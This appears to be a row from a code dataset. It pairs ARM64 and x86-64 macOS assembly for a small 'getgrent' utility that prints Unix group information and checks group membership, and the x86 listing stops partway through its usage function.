arm
stringlengths 122
134M
| x86
stringlengths 122
134M
| filename
stringlengths 18
26
|
---|---|---|
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #192
.cfi_def_cfa_offset 192
stp x29, x30, [sp, #176] ; 16-byte Folded Spill
add x29, sp, #176
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
stur w0, [x29, #-8]
stur x1, [x29, #-16]
ldur x8, [x29, #-16]
ldr x0, [x8]
bl _basename
stur x0, [x29, #-24]
stur wzr, [x29, #-28]
stur wzr, [x29, #-32]
mov w8, #1
stur w8, [x29, #-36]
stur wzr, [x29, #-40]
stur wzr, [x29, #-44]
; kill: def $x8 killed $xzr
stur xzr, [x29, #-56]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldur w0, [x29, #-8]
ldur x1, [x29, #-16]
adrp x2, l_.str@PAGE
add x2, x2, l_.str@PAGEOFF
bl _getopt
stur w0, [x29, #-60]
subs w8, w0, #0
cset w8, lt
tbnz w8, #0, LBB0_13
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-60]
subs w8, w8, #63
; kill: def $x8 killed $w8
str x8, [sp, #24] ; 8-byte Folded Spill
subs x8, x8, #53
cset w8, hi
tbnz w8, #0, LBB0_11
; %bb.3: ; in Loop: Header=BB0_1 Depth=1
ldr x11, [sp, #24] ; 8-byte Folded Reload
adrp x10, lJTI0_0@PAGE
add x10, x10, lJTI0_0@PAGEOFF
Ltmp0:
adr x8, Ltmp0
ldrsw x9, [x10, x11, lsl #2]
add x8, x8, x9
br x8
LBB0_4: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-60]
sub x0, x29, #28
sxtb w1, w8
bl _enable
b LBB0_12
LBB0_5: ; in Loop: Header=BB0_1 Depth=1
stur wzr, [x29, #-36]
b LBB0_12
LBB0_6: ; in Loop: Header=BB0_1 Depth=1
mov w8, #1
stur w8, [x29, #-32]
b LBB0_12
LBB0_7: ; in Loop: Header=BB0_1 Depth=1
mov w8, #1
stur w8, [x29, #-40]
b LBB0_12
LBB0_8: ; in Loop: Header=BB0_1 Depth=1
mov w8, #1
stur w8, [x29, #-44]
adrp x8, _optarg@GOTPAGE
ldr x8, [x8, _optarg@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-56]
b LBB0_12
LBB0_9: ; in Loop: Header=BB0_1 Depth=1
mov w0, #0
bl _usage
b LBB0_10
LBB0_10: ; in Loop: Header=BB0_1 Depth=1
b LBB0_11
LBB0_11: ; in Loop: Header=BB0_1 Depth=1
adrp x8, ___stderrp@GOTPAGE
ldr x8, [x8, ___stderrp@GOTPAGEOFF]
ldr x0, [x8]
ldur x10, [x29, #-24]
adrp x8, _optopt@GOTPAGE
ldr x8, [x8, _optopt@GOTPAGEOFF]
ldr w9, [x8]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
adrp x1, l_.str.1@PAGE
add x1, x1, l_.str.1@PAGEOFF
bl _fprintf
mov w0, #1
bl _usage
b LBB0_12
LBB0_12: ; in Loop: Header=BB0_1 Depth=1
b LBB0_1
LBB0_13:
adrp x8, _optind@GOTPAGE
ldr x8, [x8, _optind@GOTPAGEOFF]
ldr w10, [x8]
ldur w9, [x29, #-8]
subs w9, w9, w10
stur w9, [x29, #-8]
ldrsw x9, [x8]
ldur x8, [x29, #-16]
add x8, x8, x9, lsl #3
stur x8, [x29, #-16]
ldur w8, [x29, #-8]
subs w8, w8, #1
cset w8, eq
tbnz w8, #0, LBB0_15
b LBB0_14
LBB0_14:
mov w0, #1
bl _usage
b LBB0_15
LBB0_15:
ldur x8, [x29, #-16]
ldr x8, [x8]
stur x8, [x29, #-72]
ldur w8, [x29, #-32]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_23
b LBB0_16
LBB0_16:
ldur x0, [x29, #-72]
mov x1, #0
mov x2, #4294967295
add x3, sp, #80
bl _strtonum
mov x8, x0
str w8, [sp, #76]
ldr x8, [sp, #80]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB0_18
b LBB0_17
LBB0_17:
ldr x10, [sp, #80]
ldur x8, [x29, #-72]
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
mov w0, #1
adrp x1, l_.str.2@PAGE
add x1, x1, l_.str.2@PAGEOFF
bl _errx
LBB0_18:
ldur w8, [x29, #-44]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_22
b LBB0_19
LBB0_19:
ldur x0, [x29, #-56]
mov x1, #0
mov x2, #4294967295
add x3, sp, #80
bl _strtonum
mov x8, x0
stur w8, [x29, #-84]
ldr x8, [sp, #80]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB0_21
b LBB0_20
LBB0_20:
ldr x10, [sp, #80]
ldur x8, [x29, #-56]
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
mov w0, #1
adrp x1, l_.str.3@PAGE
add x1, x1, l_.str.3@PAGEOFF
bl _errx
LBB0_21:
b LBB0_22
LBB0_22:
ldr w0, [sp, #76]
bl _getgrgid
stur x0, [x29, #-80]
b LBB0_24
LBB0_23:
ldur x0, [x29, #-72]
bl _getgrnam
stur x0, [x29, #-80]
b LBB0_24
LBB0_24:
ldur x8, [x29, #-80]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB0_30
b LBB0_25
LBB0_25:
bl ___error
ldr w8, [x0]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_27
b LBB0_26
LBB0_26:
mov w0, #1
mov x1, #0
bl _err
LBB0_27:
ldur w8, [x29, #-40]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_29
b LBB0_28
LBB0_28:
mov w0, #1
bl _exit
LBB0_29:
ldur x8, [x29, #-72]
mov x9, sp
str x8, [x9]
mov w0, #1
adrp x1, l_.str.4@PAGE
add x1, x1, l_.str.4@PAGEOFF
bl _errx
LBB0_30:
ldur w8, [x29, #-44]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_47
b LBB0_31
LBB0_31:
ldur w8, [x29, #-32]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_33
b LBB0_32
LBB0_32:
ldur w0, [x29, #-84]
bl _getpwuid
str x0, [sp, #64]
b LBB0_34
LBB0_33:
ldur x0, [x29, #-56]
bl _getpwnam
str x0, [sp, #64]
b LBB0_34
LBB0_34:
ldr x8, [sp, #64]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB0_40
b LBB0_35
LBB0_35:
bl ___error
ldr w8, [x0]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_37
b LBB0_36
LBB0_36:
mov w0, #1
mov x1, #0
bl _err
LBB0_37:
ldur w8, [x29, #-40]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_39
b LBB0_38
LBB0_38:
mov w0, #1
bl _exit
LBB0_39:
ldur x8, [x29, #-56]
mov x9, sp
str x8, [x9]
mov w0, #1
adrp x1, l_.str.5@PAGE
add x1, x1, l_.str.5@PAGEOFF
bl _errx
LBB0_40:
ldur x8, [x29, #-80]
ldr x8, [x8, #24]
str x8, [sp, #56]
b LBB0_41
LBB0_41: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #56]
ldr x8, [x8]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB0_46
b LBB0_42
LBB0_42: ; in Loop: Header=BB0_41 Depth=1
ldr x8, [sp, #56]
ldr x0, [x8]
ldr x8, [sp, #64]
ldr x1, [x8]
bl _strcmp
mov w8, #0
subs w8, w8, w0
cset w8, ne
tbnz w8, #0, LBB0_44
b LBB0_43
LBB0_43:
mov w0, #0
bl _exit
LBB0_44: ; in Loop: Header=BB0_41 Depth=1
b LBB0_45
LBB0_45: ; in Loop: Header=BB0_41 Depth=1
ldr x8, [sp, #56]
add x8, x8, #8
str x8, [sp, #56]
b LBB0_41
LBB0_46:
mov w0, #1
bl _exit
LBB0_47:
ldur w0, [x29, #-28]
mov w1, #110
bl _is_on
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_51
b LBB0_48
LBB0_48:
b LBB0_49
LBB0_49:
ldur w8, [x29, #-36]
subs w8, w8, #0
cset w8, ne
and w10, w8, #0x1
adrp x9, l_.str.8@PAGE
add x9, x9, l_.str.8@PAGEOFF
adrp x8, l_.str.7@PAGE
add x8, x8, l_.str.7@PAGEOFF
ands w10, w10, #0x1
csel x10, x8, x9, ne
ldur x8, [x29, #-80]
ldr x8, [x8]
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
bl _printf
b LBB0_50
LBB0_50:
b LBB0_51
LBB0_51:
ldur w0, [x29, #-28]
mov w1, #112
bl _is_on
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_55
b LBB0_52
LBB0_52:
b LBB0_53
LBB0_53:
ldur w8, [x29, #-36]
subs w8, w8, #0
cset w8, ne
and w10, w8, #0x1
adrp x8, l_.str.9@PAGE
add x8, x8, l_.str.9@PAGEOFF
adrp x9, l_.str.8@PAGE
add x9, x9, l_.str.8@PAGEOFF
ands w10, w10, #0x1
csel x10, x8, x9, ne
ldur x8, [x29, #-80]
ldr x8, [x8, #8]
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
bl _printf
b LBB0_54
LBB0_54:
b LBB0_55
LBB0_55:
ldur w0, [x29, #-28]
mov w1, #103
bl _is_on
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_59
b LBB0_56
LBB0_56:
b LBB0_57
LBB0_57:
ldur w8, [x29, #-36]
subs w8, w8, #0
cset w8, ne
and w10, w8, #0x1
adrp x8, l_.str.11@PAGE
add x8, x8, l_.str.11@PAGEOFF
adrp x9, l_.str.8@PAGE
add x9, x9, l_.str.8@PAGEOFF
ands w10, w10, #0x1
csel x10, x8, x9, ne
ldur x8, [x29, #-80]
ldr w9, [x8, #16]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
adrp x0, l_.str.10@PAGE
add x0, x0, l_.str.10@PAGEOFF
bl _printf
b LBB0_58
LBB0_58:
b LBB0_59
LBB0_59:
ldur w0, [x29, #-28]
mov w1, #109
bl _is_on
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_69
b LBB0_60
LBB0_60:
str wzr, [sp, #52]
ldur x8, [x29, #-80]
ldr x8, [x8, #24]
str x8, [sp, #40]
b LBB0_61
LBB0_61: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #40]
ldr x8, [x8]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB0_64
b LBB0_62
LBB0_62: ; in Loop: Header=BB0_61 Depth=1
ldr w8, [sp, #52]
add w8, w8, #1
str w8, [sp, #52]
b LBB0_63
LBB0_63: ; in Loop: Header=BB0_61 Depth=1
ldr x8, [sp, #40]
add x8, x8, #8
str x8, [sp, #40]
b LBB0_61
LBB0_64:
ldr w9, [sp, #52]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.12@PAGE
add x0, x0, l_.str.12@PAGEOFF
bl _printf
str wzr, [sp, #36]
b LBB0_65
LBB0_65: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #36]
ldr w9, [sp, #52]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_68
b LBB0_66
LBB0_66: ; in Loop: Header=BB0_65 Depth=1
ldr w8, [sp, #36]
; implicit-def: $x10
mov x10, x8
ldur x8, [x29, #-80]
ldr x8, [x8, #24]
ldrsw x9, [sp, #36]
ldr x8, [x8, x9, lsl #3]
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
adrp x0, l_.str.13@PAGE
add x0, x0, l_.str.13@PAGEOFF
bl _printf
b LBB0_67
LBB0_67: ; in Loop: Header=BB0_65 Depth=1
ldr w8, [sp, #36]
add w8, w8, #1
str w8, [sp, #36]
b LBB0_65
LBB0_68:
b LBB0_69
LBB0_69:
mov w0, #0
ldp x29, x30, [sp, #176] ; 16-byte Folded Reload
add sp, sp, #192
ret
.cfi_endproc
.p2align 2
lJTI0_0:
.long LBB0_10-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_5-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_6-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_4-Ltmp0
.long LBB0_9-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_4-Ltmp0
.long LBB0_4-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_4-Ltmp0
.long LBB0_7-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_11-Ltmp0
.long LBB0_8-Ltmp0
; -- End function
.p2align 2 ; -- Begin function enable
_enable: ; @enable
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, #8]
strb w1, [sp, #7]
ldrsb w8, [sp, #7]
subs w9, w8, #97
mov w8, #1
lsl w10, w8, w9
ldr x9, [sp, #8]
ldr w8, [x9]
orr w8, w8, w10
str w8, [x9]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.p2align 2 ; -- Begin function usage
_usage: ; @usage
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
adrp x8, ___stderrp@GOTPAGE
ldr x8, [x8, ___stderrp@GOTPAGEOFF]
ldr x0, [x8]
adrp x1, l_.str.14@PAGE
add x1, x1, l_.str.14@PAGEOFF
bl _fprintf
ldur w8, [x29, #-4]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB2_2
b LBB2_1
LBB2_1:
ldur w0, [x29, #-4]
bl _exit
LBB2_2:
adrp x8, ___stderrp@GOTPAGE
ldr x8, [x8, ___stderrp@GOTPAGEOFF]
ldr x0, [x8]
adrp x1, l_.str.15@PAGE
add x1, x1, l_.str.15@PAGEOFF
bl _fprintf
ldur w0, [x29, #-4]
bl _exit
.cfi_endproc
; -- End function
.p2align 2 ; -- Begin function is_on
_is_on: ; @is_on
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str w0, [sp, #12]
strb w1, [sp, #11]
ldr w8, [sp, #12]
ldrsb w9, [sp, #11]
subs w10, w9, #97
mov w9, #1
lsl w9, w9, w10
and w0, w8, w9
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz ":hFNgmnpqt:"
l_.str.1: ; @.str.1
.asciz "%s: invalid option -- '%c'\n"
l_.str.2: ; @.str.2
.asciz "gid value is %s: %s"
l_.str.3: ; @.str.3
.asciz "uid value is %s: %s"
l_.str.4: ; @.str.4
.asciz "%s: no such group"
l_.str.5: ; @.str.5
.asciz "%s: no such user"
l_.str.6: ; @.str.6
.asciz "%s%s\n"
l_.str.7: ; @.str.7
.asciz "name="
l_.str.8: ; @.str.8
.space 1
l_.str.9: ; @.str.9
.asciz "passwd="
l_.str.10: ; @.str.10
.asciz "%s%d\n"
l_.str.11: ; @.str.11
.asciz "gid="
l_.str.12: ; @.str.12
.asciz "members=%d\n"
l_.str.13: ; @.str.13
.asciz "member_%d=%s\n"
l_.str.14: ; @.str.14
.asciz "usage: getgrent -h\nusage: getgrent [-Nq] -t USER GROUP\nusage: getgrent [-FNgmnpq] GROUP\n"
l_.str.15: ; @.str.15
.asciz "\nDisplay group(5) info for a group\n\n Options:\n -h Display this message\n -F Omit field names from output\n -N GROUP and USER are group and user ids, not names\n -g Display group id\n -m Display group members\n -n Display group name\n -q No error message for nonexistent GROUP or USER\n -t USER Test whether USER in is GROUP\n Operands:\n GROUP Display information for group GROUP\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $160, %rsp
movl $0, -4(%rbp)
movl %edi, -8(%rbp)
movq %rsi, -16(%rbp)
movq -16(%rbp), %rax
movq (%rax), %rdi
callq _basename
movq %rax, -24(%rbp)
movl $0, -28(%rbp)
movl $0, -32(%rbp)
movl $1, -36(%rbp)
movl $0, -40(%rbp)
movl $0, -44(%rbp)
movq $0, -56(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
movl -8(%rbp), %edi
movq -16(%rbp), %rsi
leaq L_.str(%rip), %rdx
callq _getopt
movl %eax, -60(%rbp)
cmpl $-1, %eax
jle LBB0_12
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movl -60(%rbp), %eax
addl $-63, %eax
movl %eax, %ecx
movq %rcx, -152(%rbp) ## 8-byte Spill
subl $53, %eax
ja LBB0_10
## %bb.69: ## in Loop: Header=BB0_1 Depth=1
movq -152(%rbp), %rax ## 8-byte Reload
leaq LJTI0_0(%rip), %rcx
movslq (%rcx,%rax,4), %rax
addq %rcx, %rax
jmpq *%rax
LBB0_3: ## in Loop: Header=BB0_1 Depth=1
movl -60(%rbp), %eax
## kill: def $al killed $al killed $eax
leaq -28(%rbp), %rdi
movsbl %al, %esi
callq _enable
jmp LBB0_11
LBB0_4: ## in Loop: Header=BB0_1 Depth=1
movl $0, -36(%rbp)
jmp LBB0_11
LBB0_5: ## in Loop: Header=BB0_1 Depth=1
movl $1, -32(%rbp)
jmp LBB0_11
LBB0_6: ## in Loop: Header=BB0_1 Depth=1
movl $1, -40(%rbp)
jmp LBB0_11
LBB0_7: ## in Loop: Header=BB0_1 Depth=1
movl $1, -44(%rbp)
movq _optarg@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -56(%rbp)
jmp LBB0_11
LBB0_8: ## in Loop: Header=BB0_1 Depth=1
xorl %edi, %edi
callq _usage
LBB0_9: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_10
LBB0_10: ## in Loop: Header=BB0_1 Depth=1
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movq -24(%rbp), %rdx
movq _optopt@GOTPCREL(%rip), %rax
movl (%rax), %ecx
leaq L_.str.1(%rip), %rsi
movb $0, %al
callq _fprintf
movl $1, %edi
callq _usage
LBB0_11: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_1
LBB0_12:
movq _optind@GOTPCREL(%rip), %rax
movl (%rax), %ecx
movl -8(%rbp), %eax
subl %ecx, %eax
movl %eax, -8(%rbp)
movq _optind@GOTPCREL(%rip), %rax
movl (%rax), %ecx
movq -16(%rbp), %rax
movslq %ecx, %rcx
shlq $3, %rcx
addq %rcx, %rax
movq %rax, -16(%rbp)
cmpl $1, -8(%rbp)
je LBB0_14
## %bb.13:
movl $1, %edi
callq _usage
LBB0_14:
movq -16(%rbp), %rax
movq (%rax), %rax
movq %rax, -72(%rbp)
cmpl $0, -32(%rbp)
je LBB0_22
## %bb.15:
movq -72(%rbp), %rdi
xorl %eax, %eax
movl %eax, %esi
movl $4294967295, %edx ## imm = 0xFFFFFFFF
leaq -96(%rbp), %rcx
callq _strtonum
## kill: def $eax killed $eax killed $rax
movl %eax, -100(%rbp)
cmpq $0, -96(%rbp)
je LBB0_17
## %bb.16:
movq -96(%rbp), %rdx
movq -72(%rbp), %rcx
leaq L_.str.2(%rip), %rsi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
movl $1, %edi
callq _errx
LBB0_17:
cmpl $0, -44(%rbp)
je LBB0_21
## %bb.18:
movq -56(%rbp), %rdi
xorl %eax, %eax
movl %eax, %esi
movl $4294967295, %edx ## imm = 0xFFFFFFFF
leaq -96(%rbp), %rcx
callq _strtonum
## kill: def $eax killed $eax killed $rax
movl %eax, -84(%rbp)
cmpq $0, -96(%rbp)
je LBB0_20
## %bb.19:
movq -96(%rbp), %rdx
movq -56(%rbp), %rcx
leaq L_.str.3(%rip), %rsi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
movl $1, %edi
callq _errx
LBB0_20:
jmp LBB0_21
LBB0_21:
movl -100(%rbp), %edi
callq _getgrgid
movq %rax, -80(%rbp)
jmp LBB0_23
LBB0_22:
movq -72(%rbp), %rdi
callq _getgrnam
movq %rax, -80(%rbp)
LBB0_23:
cmpq $0, -80(%rbp)
jne LBB0_29
## %bb.24:
callq ___error
cmpl $0, (%rax)
je LBB0_26
## %bb.25:
xorl %eax, %eax
movl %eax, %esi
## kill: def $al killed $al killed $eax
movl $1, %edi
callq _err
LBB0_26:
cmpl $0, -40(%rbp)
je LBB0_28
## %bb.27:
movl $1, %edi
callq _exit
LBB0_28:
movq -72(%rbp), %rdx
leaq L_.str.4(%rip), %rsi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
movl $1, %edi
callq _errx
LBB0_29:
cmpl $0, -44(%rbp)
je LBB0_46
## %bb.30:
cmpl $0, -32(%rbp)
je LBB0_32
## %bb.31:
movl -84(%rbp), %edi
callq _getpwuid
movq %rax, -112(%rbp)
jmp LBB0_33
LBB0_32:
movq -56(%rbp), %rdi
callq _getpwnam
movq %rax, -112(%rbp)
LBB0_33:
cmpq $0, -112(%rbp)
jne LBB0_39
## %bb.34:
callq ___error
cmpl $0, (%rax)
je LBB0_36
## %bb.35:
xorl %eax, %eax
movl %eax, %esi
## kill: def $al killed $al killed $eax
movl $1, %edi
callq _err
LBB0_36:
cmpl $0, -40(%rbp)
je LBB0_38
## %bb.37:
movl $1, %edi
callq _exit
LBB0_38:
movq -56(%rbp), %rdx
leaq L_.str.5(%rip), %rsi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
movl $1, %edi
callq _errx
LBB0_39:
movq -80(%rbp), %rax
movq 24(%rax), %rax
movq %rax, -120(%rbp)
LBB0_40: ## =>This Inner Loop Header: Depth=1
movq -120(%rbp), %rax
cmpq $0, (%rax)
je LBB0_45
## %bb.41: ## in Loop: Header=BB0_40 Depth=1
movq -120(%rbp), %rax
movq (%rax), %rdi
movq -112(%rbp), %rax
movq (%rax), %rsi
callq _strcmp
movl %eax, %ecx
xorl %eax, %eax
cmpl %ecx, %eax
jne LBB0_43
## %bb.42:
xorl %edi, %edi
callq _exit
LBB0_43: ## in Loop: Header=BB0_40 Depth=1
jmp LBB0_44
LBB0_44: ## in Loop: Header=BB0_40 Depth=1
movq -120(%rbp), %rax
addq $8, %rax
movq %rax, -120(%rbp)
jmp LBB0_40
LBB0_45:
movl $1, %edi
callq _exit
LBB0_46:
movl -28(%rbp), %edi
movl $110, %esi
callq _is_on
cmpl $0, %eax
je LBB0_50
## %bb.47:
jmp LBB0_48
LBB0_48:
movl -36(%rbp), %ecx
leaq L_.str.8(%rip), %rsi
leaq L_.str.7(%rip), %rax
cmpl $0, %ecx
cmovneq %rax, %rsi
movq -80(%rbp), %rax
movq (%rax), %rdx
leaq L_.str.6(%rip), %rdi
movb $0, %al
callq _printf
## %bb.49:
jmp LBB0_50
LBB0_50:
movl -28(%rbp), %edi
movl $112, %esi
callq _is_on
cmpl $0, %eax
je LBB0_54
## %bb.51:
jmp LBB0_52
LBB0_52:
movl -36(%rbp), %ecx
leaq L_.str.8(%rip), %rsi
leaq L_.str.9(%rip), %rax
cmpl $0, %ecx
cmovneq %rax, %rsi
movq -80(%rbp), %rax
movq 8(%rax), %rdx
leaq L_.str.6(%rip), %rdi
movb $0, %al
callq _printf
## %bb.53:
jmp LBB0_54
LBB0_54:
movl -28(%rbp), %edi
movl $103, %esi
callq _is_on
cmpl $0, %eax
je LBB0_58
## %bb.55:
jmp LBB0_56
LBB0_56:
movl -36(%rbp), %ecx
leaq L_.str.8(%rip), %rsi
leaq L_.str.11(%rip), %rax
cmpl $0, %ecx
cmovneq %rax, %rsi
movq -80(%rbp), %rax
movl 16(%rax), %edx
leaq L_.str.10(%rip), %rdi
movb $0, %al
callq _printf
## %bb.57:
jmp LBB0_58
LBB0_58:
movl -28(%rbp), %edi
movl $109, %esi
callq _is_on
cmpl $0, %eax
je LBB0_68
## %bb.59:
movl $0, -124(%rbp)
movq -80(%rbp), %rax
movq 24(%rax), %rax
movq %rax, -136(%rbp)
LBB0_60: ## =>This Inner Loop Header: Depth=1
movq -136(%rbp), %rax
cmpq $0, (%rax)
je LBB0_63
## %bb.61: ## in Loop: Header=BB0_60 Depth=1
movl -124(%rbp), %eax
addl $1, %eax
movl %eax, -124(%rbp)
## %bb.62: ## in Loop: Header=BB0_60 Depth=1
movq -136(%rbp), %rax
addq $8, %rax
movq %rax, -136(%rbp)
jmp LBB0_60
LBB0_63:
movl -124(%rbp), %esi
leaq L_.str.12(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -140(%rbp)
LBB0_64: ## =>This Inner Loop Header: Depth=1
movl -140(%rbp), %eax
cmpl -124(%rbp), %eax
jge LBB0_67
## %bb.65: ## in Loop: Header=BB0_64 Depth=1
movl -140(%rbp), %esi
movq -80(%rbp), %rax
movq 24(%rax), %rax
movslq -140(%rbp), %rcx
movq (%rax,%rcx,8), %rdx
leaq L_.str.13(%rip), %rdi
movb $0, %al
callq _printf
## %bb.66: ## in Loop: Header=BB0_64 Depth=1
movl -140(%rbp), %eax
addl $1, %eax
movl %eax, -140(%rbp)
jmp LBB0_64
LBB0_67:
jmp LBB0_68
LBB0_68:
xorl %eax, %eax
addq $160, %rsp
popq %rbp
retq
.cfi_endproc
.p2align 2, 0x90
.data_region jt32
.set L0_0_set_9, LBB0_9-LJTI0_0
.set L0_0_set_10, LBB0_10-LJTI0_0
.set L0_0_set_4, LBB0_4-LJTI0_0
.set L0_0_set_5, LBB0_5-LJTI0_0
.set L0_0_set_3, LBB0_3-LJTI0_0
.set L0_0_set_8, LBB0_8-LJTI0_0
.set L0_0_set_6, LBB0_6-LJTI0_0
.set L0_0_set_7, LBB0_7-LJTI0_0
LJTI0_0:
.long L0_0_set_9
.long L0_0_set_10
.long L0_0_set_10
.long L0_0_set_10
.long L0_0_set_10
.long L0_0_set_10
.long L0_0_set_10
.long L0_0_set_4
.long L0_0_set_10
.long L0_0_set_10
.long L0_0_set_10
.long L0_0_set_10
.long L0_0_set_10
.long L0_0_set_10
.long L0_0_set_10
.long L0_0_set_5
.long L0_0_set_10
.long L0_0_set_10
.long L0_0_set_10
.long L0_0_set_10
.long L0_0_set_10
.long L0_0_set_10
.long L0_0_set_10
.long L0_0_set_10
.long L0_0_set_10
.long L0_0_set_10
.long L0_0_set_10
.long L0_0_set_10
.long L0_0_set_10
.long L0_0_set_10
.long L0_0_set_10
.long L0_0_set_10
.long L0_0_set_10
.long L0_0_set_10
.long L0_0_set_10
.long L0_0_set_10
.long L0_0_set_10
.long L0_0_set_10
.long L0_0_set_10
.long L0_0_set_10
.long L0_0_set_3
.long L0_0_set_8
.long L0_0_set_10
.long L0_0_set_10
.long L0_0_set_10
.long L0_0_set_10
.long L0_0_set_3
.long L0_0_set_3
.long L0_0_set_10
.long L0_0_set_3
.long L0_0_set_6
.long L0_0_set_10
.long L0_0_set_10
.long L0_0_set_7
.end_data_region
## -- End function
.p2align 4, 0x90 ## -- Begin function enable
_enable: ## @enable
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movb %sil, %al
movq %rdi, -8(%rbp)
movb %al, -9(%rbp)
movsbl -9(%rbp), %ecx
subl $97, %ecx
movl $1, %eax
## kill: def $cl killed $ecx
shll %cl, %eax
movl %eax, %ecx
movq -8(%rbp), %rax
orl (%rax), %ecx
movl %ecx, (%rax)
popq %rbp
retq
.cfi_endproc
## -- End function
.p2align 4, 0x90 ## -- Begin function usage
_usage: ## @usage
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
leaq L_.str.14(%rip), %rsi
movb $0, %al
